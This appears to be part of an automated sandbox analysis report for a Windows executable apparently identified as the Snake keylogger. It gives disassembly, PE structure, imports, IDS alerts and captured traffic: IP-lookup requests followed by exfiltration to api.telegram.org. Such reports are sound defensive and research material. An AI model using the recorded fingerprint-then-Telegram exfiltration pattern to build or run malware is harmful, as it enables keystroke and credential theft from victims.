mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FAA2107EBAAh
cmp edi, eax
jc 00007FAA2107EF0Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FAA2107EBA9h
rep movsb
jmp 00007FAA2107EEBCh
cmp ecx, 00000080h
jc 00007FAA2107ED74h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FAA2107EBB0h
bt dword ptr [004BE324h], 01h
jc 00007FAA2107F080h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FAA2107ED4Dh
test edi, 00000003h
jne 00007FAA2107ED5Eh
test esi, 00000003h
jne 00007FAA2107ED3Dh
bt edi, 02h
jnc 00007FAA2107EBAFh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FAA2107EBB3h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FAA2107EC05h
bt esi, 03h
jnc 00007FAA2107EC58h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x29d14	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf1000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x29d14	0x29e00	026e384b9db188199cd56c232cf3bc19	False	0.8792269123134329	data	7.731010669890645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf1000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc7458	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc7580	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc76a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc77d0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384, resolution 60472 x 60472 px/m	English	Great Britain	0.2639348134152102
RT_MENU	0xcb9f8	0x50	data	English	Great Britain	0.9
RT_STRING	0xcba48	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcbfdc	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xcc668	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xccaf8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xcd0f4	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcd750	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcdbb8	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcdd10	0x22ae7	data			1.0003590158741333
RT_GROUP_ICON	0xf07f8	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xf080c	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xf0820	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xf0834	0x14	data	English	Great Britain	1.25
RT_VERSION	0xf0848	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xf0924	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T07:59:14.463875+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49699	132.226.247.73	80	TCP
2025-01-11T07:59:20.682598+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.7	49699	132.226.247.73	80	TCP
2025-01-11T07:59:21.307506+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.7	49737	149.154.167.220	443	TCP
2025-01-11T07:59:21.602330+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.7	49737	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:59:13.462973118 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:13.467905998 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 07:59:13.468136072 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:13.468347073 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:13.473176003 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 07:59:14.143743992 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 07:59:14.198328972 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:14.206988096 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:14.211955070 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 07:59:14.416918993 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 07:59:14.463875055 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:14.593470097 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:14.593513012 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:14.593777895 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:14.605249882 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:14.605264902 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:15.099725962 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:15.099878073 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:15.107744932 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:15.107764006 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:15.108638048 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:15.150573969 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:15.195877075 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:15.239336967 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:15.319083929 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:15.319245100 CET	443	49700	104.21.80.1	192.168.2.7
Jan 11, 2025 07:59:15.319437027 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:15.326216936 CET	49700	443	192.168.2.7	104.21.80.1
Jan 11, 2025 07:59:20.427191973 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:20.432012081 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 07:59:20.635963917 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 07:59:20.649893999 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:20.649945974 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:20.650031090 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:20.650757074 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:20.650774002 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:20.682598114 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 07:59:21.259815931 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:21.259905100 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:21.263892889 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:21.263921976 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:21.264185905 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:21.266617060 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:21.307339907 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:21.307395935 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:21.307406902 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:21.602464914 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:21.602675915 CET	443	49737	149.154.167.220	192.168.2.7
Jan 11, 2025 07:59:21.602757931 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 07:59:21.607265949 CET	49737	443	192.168.2.7	149.154.167.220
Jan 11, 2025 08:00:25.638813972 CET	80	49699	132.226.247.73	192.168.2.7
Jan 11, 2025 08:00:25.638923883 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 08:00:55.323533058 CET	49699	80	192.168.2.7	132.226.247.73
Jan 11, 2025 08:00:55.328507900 CET	80	49699	132.226.247.73	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 07:59:13.449399948 CET	56924	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:59:13.456276894 CET	53	56924	1.1.1.1	192.168.2.7
Jan 11, 2025 07:59:14.584918022 CET	61659	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:59:14.592243910 CET	53	61659	1.1.1.1	192.168.2.7
Jan 11, 2025 07:59:20.640125990 CET	52989	53	192.168.2.7	1.1.1.1
Jan 11, 2025 07:59:20.649105072 CET	53	52989	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 07:59:13.449399948 CET	192.168.2.7	1.1.1.1	0x21d5	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.584918022 CET	192.168.2.7	1.1.1.1	0xe5f	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:20.640125990 CET	192.168.2.7	1.1.1.1	0xccf5	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 07:59:13.456276894 CET	1.1.1.1	192.168.2.7	0x21d5	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 07:59:13.456276894 CET	1.1.1.1	192.168.2.7	0x21d5	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:13.456276894 CET	1.1.1.1	192.168.2.7	0x21d5	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:13.456276894 CET	1.1.1.1	192.168.2.7	0x21d5	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:13.456276894 CET	1.1.1.1	192.168.2.7	0x21d5	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:13.456276894 CET	1.1.1.1	192.168.2.7	0x21d5	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.592243910 CET	1.1.1.1	192.168.2.7	0xe5f	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.592243910 CET	1.1.1.1	192.168.2.7	0xe5f	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.592243910 CET	1.1.1.1	192.168.2.7	0xe5f	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.592243910 CET	1.1.1.1	192.168.2.7	0xe5f	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.592243910 CET	1.1.1.1	192.168.2.7	0xe5f	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.592243910 CET	1.1.1.1	192.168.2.7	0xe5f	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:14.592243910 CET	1.1.1.1	192.168.2.7	0xe5f	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 11, 2025 07:59:20.649105072 CET	1.1.1.1	192.168.2.7	0xccf5	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	132.226.247.73	80	2172	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 07:59:13.468347073 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jan 11, 2025 07:59:14.143743992 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:59:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:59:14.206988096 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:59:14.416918993 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:59:14 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Jan 11, 2025 07:59:20.427191973 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jan 11, 2025 07:59:20.635963917 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:59:20 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	104.21.80.1	443	2172	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:59:15 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
